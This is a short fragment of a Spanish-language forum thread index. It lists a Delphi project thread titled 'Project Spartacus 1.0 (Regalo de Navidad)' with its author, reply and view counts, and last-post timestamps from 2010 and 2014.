Último mensaje Febrero 24, 2010, 04:54:23 pm
por ANTRAX
[Delphi] Project Spartacus 1.0 (Regalo de Navidad)

Iniciado por BigBear

Respuestas: 2
Vistas: 2813
Último mensaje Diciembre 26, 2014, 11:54:34 pm
por n4pst3r